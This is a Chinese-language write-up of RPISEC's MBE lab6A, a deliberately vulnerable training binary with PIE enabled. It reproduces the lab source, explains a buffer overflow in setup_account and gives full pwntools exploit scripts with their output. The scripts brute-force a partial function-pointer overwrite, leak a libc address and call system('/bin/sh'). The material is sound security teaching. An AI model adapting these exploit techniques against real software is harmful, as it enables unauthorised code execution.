RPISEC/MBE: writeup lab6A (PIE)

TOC

  1. 1. 分析
  2. 2. 漏洞
  3. 3. 利用

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6A.c。这个程序相比 RPISEC/MBE:lab6B 要难一点。

分析

utils.h

/*
* Tools for anti-debug/disasm
*/

/* throws off esp analysis to thwart hexrays */
#define deathrays \
__asm__ volatile("push %eax \n"\
"xor %eax, %eax\n"\
"jz .+5 \n"\
".word 0xC483 \n"\
".byte 0x04 \n"\
"pop %eax \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
for (; *_argv; ++_argv) { \
memset(*_argv, 0, strlen(*_argv)); \
}
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
char x = 0;
while(1)
{
x = getchar();
if(x == '\n' || x == EOF)
break;
}
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
unsigned int res = 0;
fflush(stdout);
scanf("%u", &res);
clear_stdin();
return res;
}

void prog_timeout(int sig)
{
asm("mov $1, %eax;"
"mov $1, %ebx;"
"int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
__attribute__ ((constructor)) void enable_timeout_cons() \
{ \
signal(SIGALRM, prog_timeout); \
alarm(_time); \
}

lab6A.c

/*
Exploitation with ASLR enabled
Lab A
gcc -fpie -pie -fno-stack-protector -m32 -o lab6A ./lab6A.c
Patrick Biernat
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "./utils.h"

struct uinfo {
char name[32];
char desc[128];
unsigned int sfunc;
}user;


struct item {
char name[32];
char price[10];
}aitem;

struct item ulisting;

void write_wrap(char ** buf) {
write(1, *buf, 8);
}

void make_note() {
char note[40];
printf("Make a Note About your listing...: ");
gets(note);
}

void print_listing() {
printf(
"Here is the listing you've created: \n");
if(*ulisting.name == '\x00') {
return;
}
printf("Item: %s\n", ulisting.name);
printf("Price: %s\n",ulisting.price);
}

void make_listing() {
printf("Enter your item's name: ");
fgets(ulisting.name, 31, stdin);
printf("Enter your item's price: ");
fgets(ulisting.price, 9, stdin);
}

void setup_account(struct uinfo * user) {
char temp[128];
memset(temp, 0, 128);
printf("Enter your name: ");
read(0, user->name, sizeof(user->name));
printf("Enter your description: ");
read(0, temp, sizeof(user->desc));
strncpy(user->desc, user->name,32);
strcat(user->desc, " is a ");

memcpy(user->desc + strlen(user->desc), temp, strlen(temp));
}

void print_name(struct uinfo * info) {
printf("Username: %s\n", info->name);
}

int main(int argc, char ** argv) {
disable_buffering(stdout);
struct uinfo merchant;
char choice[4];

printf(
".-------------------------------------------------. \n" \
"| Welcome to l337-Bay + | \n"
"|-------------------------------------------------| \n"
"|1: Setup Account | \n"
"|2: Make Listing | \n"
"|3: View Info | \n"
"|4: Exit | \n"
"|-------------------------------------------------| \n" );

// Initialize user info
memset(merchant.name, 0, 32);
memset(merchant.desc, 0 , 64);
merchant.sfunc = (unsigned int)print_listing;

//initialize listing
memset(ulisting.name, 0, 32);
memset(ulisting.price, 0, 10);

while(1) {
memset(choice, 0, 4);
printf("Enter Choice: ");

if (fgets(choice, 2, stdin) == 0) {
break;
}
getchar(); // Eat the newline

if (!strncmp(choice, "1",1)) {
setup_account(&merchant);
}
if (!strncmp(choice, "2",1)) {
make_listing();
}
if (!strncmp(choice, "3",1)) { // ITS LIKE HAVING CLASSES IN C!
( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);
}
if (!strncmp(choice, "4",1)) {
return EXIT_SUCCESS;
}

}


return EXIT_SUCCESS;
}

站长已经编译好了,点击下载lab6A

Writeup 借鉴自https://devel0pment.de/?p=378

漏洞

在函数setup_account里面,通过strncpy用最大字节数为32的结构体元素 user->name 来初始化结构体元素 user->desc。然后,字符串“is a”被追加到user->desc,这使得 user->desc 此时最长为 32 + 6 = 38 字节。然后追加变量temp的内容(最大为128字节)。总计38 + 128 = 166字节被复制到 user->desc。因为user->desc只有128字节长,所以会导致缓冲区溢出。

利用

我们现在可以控制指令指针(也就是 merchant.sfunc),但我们应该跳到哪里呢?我们既不知道任何绝对地址,也不知道共享库。我们的最终目标是生成一个shell。因为二进制文件中没有后门函数(win函数)并且我们不能在堆栈中存储和执行shell代码(启用了NX),所以我们应该尝试从libc调用system(“/bin/sh”)。在此之前,我们需要libc的地址。merchant.sfunc 包含函数print_listing的绝对地址,它至少是二进制文件的有效地址。我们可以进行部分覆盖来调用二进制的另一个函数。由于我们想泄漏libc地址,因此必须以某种方式打印一些东西,一个合适的候选可能是函数print_name:

void print_name(struct uinfo * info) {
printf("Username: %s\n", info->name);
}

首先我们需要查找print_name 的偏移,下面的两个字节就是我们要覆盖的。

pwndbg> p print_name 
$1 = {<text variable, no debug info>} 0xaff <print_name>

print_name位于偏移0xaff处。因为我们要覆盖的两个最不重要的字节仍然是4个随机比特,所以我编写了一个python脚本,它重复地将这两个字节设置为0xaff,若调用失败则重新调用,直到调用成功:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


def setupAccount(p, u, d):
p.sendline("1")
p.recvuntil("name: ")
p.sendline(u)
p.recvuntil("description: ")
p.sendline(d)
p.recvuntil("Choice: ")
p.sendline("3")


i = 0
while True:

p = process("./lab6A")
p.recvuntil("Choice: ")

# partially overwrite sfunc (print_name)
setupAccount(p, "A"*31, "X"*90+"\xff\x0a" + "\x00")

try:
ret = p.recv(400)
if ("Username: " in ret):
break
except EOFError:
continue

log.info("Partial overwrite succeeded!")


print(hexdump(ret))
p.interactive()

运行脚本结果如下:

[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[*] Partial overwrite succeeded!
00000000 55 73 65 72 6e 61 6d 65 3a 20 41 41 41 41 41 41 │User│name│: AA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000020 41 41 41 41 41 41 41 41 41 0a 41 41 41 41 41 41 │AAAA│AAAA│A·AA│AAAA│
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000040 41 41 41 41 41 41 41 41 41 0a 20 69 73 20 61 20 │AAAA│AAAA│A· i│s a │
00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 │XXXX│XXXX│XXXX│XXXX│
*
000000a0 58 58 58 58 58 58 58 58 58 58 ff 0a 63 56 90 51 │XXXX│XXXX│XX··│cV·Q│
000000b0 b5 ff 0a 45 6e 74 65 72 20 43 68 6f 69 63 65 3a │···E│nter│ Cho│ice:│
000000c0 20 │ │
000000c1
[*] Switching to interactive mode
$

输出中有两个地址:偏移0xaa的0x56630aff和偏移0xae的0xffb55190。

第一个地址就是sfunc的值。我们用0xaff覆盖了最不重要的两个字节。第二个地址也具有相同的基地址。不幸的是,这不是我们想要的,因为我们需要libc地址。

我们怎么能泄漏更多信息呢?还记得下面这行setup_account函数吗?

memcpy(user->desc + strlen(user->desc), temp, strlen(temp));

由于我们已经填满了user->desc,而strncpy函数和strcat函数都没有在user->desc中产生一个空字节,因此第二次调用 setup_account 函数时会覆盖上面的0xb3地方的\x00字节,覆盖之后则会打印出我们想要的地址信息。

用下面脚本表示:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


def setupAccount(p, u, d):
p.sendline("1")
p.recvuntil("name: ")
p.sendline(u)
p.recvuntil("description: ")
p.sendline(d)
p.recvuntil("Choice: ")
p.sendline("3")


i = 0
while True:

p = process("./lab6A")
p.recvuntil("Choice: ")

# partially overwrite sfunc (print_name)
setupAccount(p, "A"*31, "X"*90+"\xff\x0a" + "\x00")

try:
ret = p.recv(400)
if ("Username: " in ret):
break
except EOFError:
continue

log.info("Partial overwrite succeeded!")


print(hexdump(ret))

setupAccount(p, "u", "d")
log.info("Again")
print(hexdump(p.recv(400)))
p.interactive()

结果如下:

[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[*] Partial overwrite succeeded!
00000000 55 73 65 72 6e 61 6d 65 3a 20 41 41 41 41 41 41 │User│name│: AA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000020 41 41 41 41 41 41 41 41 41 0a 41 41 41 41 41 41 │AAAA│AAAA│A·AA│AAAA│
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000040 41 41 41 41 41 41 41 41 41 0a 20 69 73 20 61 20 │AAAA│AAAA│A· i│s a │
00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 │XXXX│XXXX│XXXX│XXXX│
*
000000a0 58 58 58 58 58 58 58 58 58 58 ff 0a 5b 56 90 7a │XXXX│XXXX│XX··│[V·z│
000000b0 95 ff 0a 45 6e 74 65 72 20 43 68 6f 69 63 65 3a │···E│nter│ Cho│ice:│
000000c0 20 │ │
000000c1
[*] Again
00000000 55 73 65 72 6e 61 6d 65 3a 20 75 0a 41 41 41 41 │User│name│: u·│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000020 41 41 41 41 41 41 41 41 41 0a 75 0a 41 41 41 41 │AAAA│AAAA│A·u·│AAAA│
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000040 41 41 41 41 41 41 41 41 41 0a 20 69 73 20 61 20 │AAAA│AAAA│A· i│s a │
00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 │XXXX│XXXX│XXXX│XXXX│
*
000000a0 58 58 58 58 58 58 58 58 58 58 ff 0a 5b 56 90 7a │XXXX│XXXX│XX··│[V·z│
000000b0 95 ff 20 69 73 20 61 20 64 0a 81 ee d6 f7 0a 45 │·· i│s a │d···│···E│
000000c0 6e 74 65 72 20 43 68 6f 69 63 65 3a 20 │nter│ Cho│ice:│ │
000000cd
[*] Switching to interactive mode
$

我们从第二个地址后面泄漏了另一个地址:0xf7d6ee81,偏移为0xba。通过gdb调试可以确定这个地址是__libc_start_main 调用main 函数之后的ret 地址。现在我们只需要计算必要的偏移量,即可以泄露libc基地址。

pwndbg> x/i 0xf7d6ee81
0xf7d6ee81 <__libc_start_main+241>: add esp,0x10

下面就是该程序的exp脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

def setupAccount(p, u, d):
p.sendline("1")
p.recvuntil("name: ")
p.sendline(u)
p.recvuntil("description: ")
p.sendline(d)
p.recvuntil("Choice: ")
p.sendline("3")


while True:

p = process("./lab6A")
p.recvuntil("Choice: ")

# partially overwrite sfunc (print_name)
setupAccount(p, "A"*31, "X"*90+"\xff\x0a" + "\x00")

try:
ret = p.recv(400)
if ("Username: " in ret): break
except EOFError:
continue

log.info("Partial overwrite succeeded!")

context.log_level="debug"
# 泄露基地址
setupAccount(p, "u", "d")
ret = p.recv(400)
libc_leak = ord(ret[0xba]) + (ord(ret[0xbb])<<8) + (ord(ret[0xbc])<<16) + (ord(ret[0xbd])<<24)
log.info("libc_leak: " + hex(libc_leak))

# main函数ret的地址相对于 __libc_start_main 函数的偏移
__libc_start_main_inner_offset = 241

# 不同版本的库函数,偏移不同
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_leak - __libc_start_main_inner_offset - libc.symbols['__libc_start_main']
log.success("libc_base: " + hex(libc_base))

# 因为我的库函数的system的基地址最后一个字节总是为\x00,所以向上偏移一条指令(4字节),结果并不影响执行
addr_system = libc_base + libc.symbols['system'] - 4

# call system("/bin/sh"))

# context.terminal=["deepin-terminal","-x","sh","-c"]
# gdb.attach(proc.pidof(p)[0],'c')
setupAccount(p, 19*"/"+"/bin/sh\x00", "X"*96+p32(addr_system))
p.interactive()